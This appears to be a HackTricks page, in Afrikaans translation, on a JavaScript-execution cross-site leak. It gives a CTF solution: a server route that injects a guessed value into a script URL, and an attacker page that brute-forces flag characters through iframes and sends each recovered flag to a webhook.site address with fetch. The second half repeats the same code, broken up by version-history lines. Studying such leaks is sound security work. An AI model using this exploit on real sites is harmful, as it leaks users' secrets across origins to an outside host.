hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md

# JavaScript Uitvoering XS-lek

<details>

<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
});
```
Hoofblad wat iframes genereer na die vorige `/raai` bladsy om elke moontlikheid te toets
```html
<html>
<head>
<script>
let candidateIsGood = false;
let candidate = ''
let flag = 'bi0sctf{'
let guessIndex = -1

let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
}

//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch('https://webhook.site/<yours-goes-here>')
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log('iframe: ', iframe)
hack.innerHTML = iframe
}
, 500);
</script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```
<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`# JavaScript Uitvoering XS-lek`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`<details>`

Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`* Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy adverteer in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Ontdek [The PEASS Family](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Kry die [amptelike PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Sluit aan by die [💬](https://emojipedia.org/speech-balloon/) [Discord-groep](https://discord.gg/hRep4RUj7f) of die [telegram-groep](https://t.me/peass) of volg my op Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
			`* Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`
			```javascript
			`// Code that will try ${guess} as flag (need rest of the server code`
			`app.get('/guessing', function(req, res) {`
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`let guess = req.query.guess`
			let page = `<html>
			`<head>`
			`<script>`
			`function foo() {`
			`// If not the flag this will be executed`
			`window.parent.foo()`
			`}`
			`</script>`
			`<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>`
			`</head>`
			`<p>hello2</p>`
			</html>`
			`res.send(page)`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`});`
			```
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			Hoofblad wat iframes genereer na die vorige `/raai` bladsy om elke moontlikheid te toets
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			```html
			`<html>`
			`<head>`
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`<script>`
			`let candidateIsGood = false;`
			`let candidate = ''`
			`let flag = 'bi0sctf{'`
			`let guessIndex = -1`

			`let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`// this will get called from our iframe IF the candidate is WRONG`
			`function foo() {`
			`candidateIsGood = false`
			`}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`timerId = setInterval(() => {`
			`if (candidateIsGood) {`
			`flag = candidate`
			`guessIndex = -1`
			`fetch('https://webhook.site/<yours-goes-here>?flag='+flag)`
			`}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`//Start with true and will be change to false if wrong`
			`candidateIsGood = true`
			`guessIndex++`
			`if (guessIndex >= flagChars.length) {`
			`fetch('https://webhook.site/<yours-goes-here>')`
			`return`
			`}`
			`let guess = flagChars[guessIndex]`
			`candidate = flag + guess`
			let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
			`console.log('iframe: ', iframe)`
			`hack.innerHTML = iframe`
			`}`
			`, 500);`
			`</script>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`</head>`
			`<p>hello</p>`
			`<div id="hack">`
			`</div>`
			`</html>`
			```
			`<details>`

Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`* Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Ontdek [The PEASS Family](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Kry die [amptelike PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Sluit aan by die [💬](https://emojipedia.org/speech-balloon/) [Discord-groep](https://discord.gg/hRep4RUj7f) of die [telegram-groep](https://t.me/peass) of volg my op Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
			`* Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud).`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`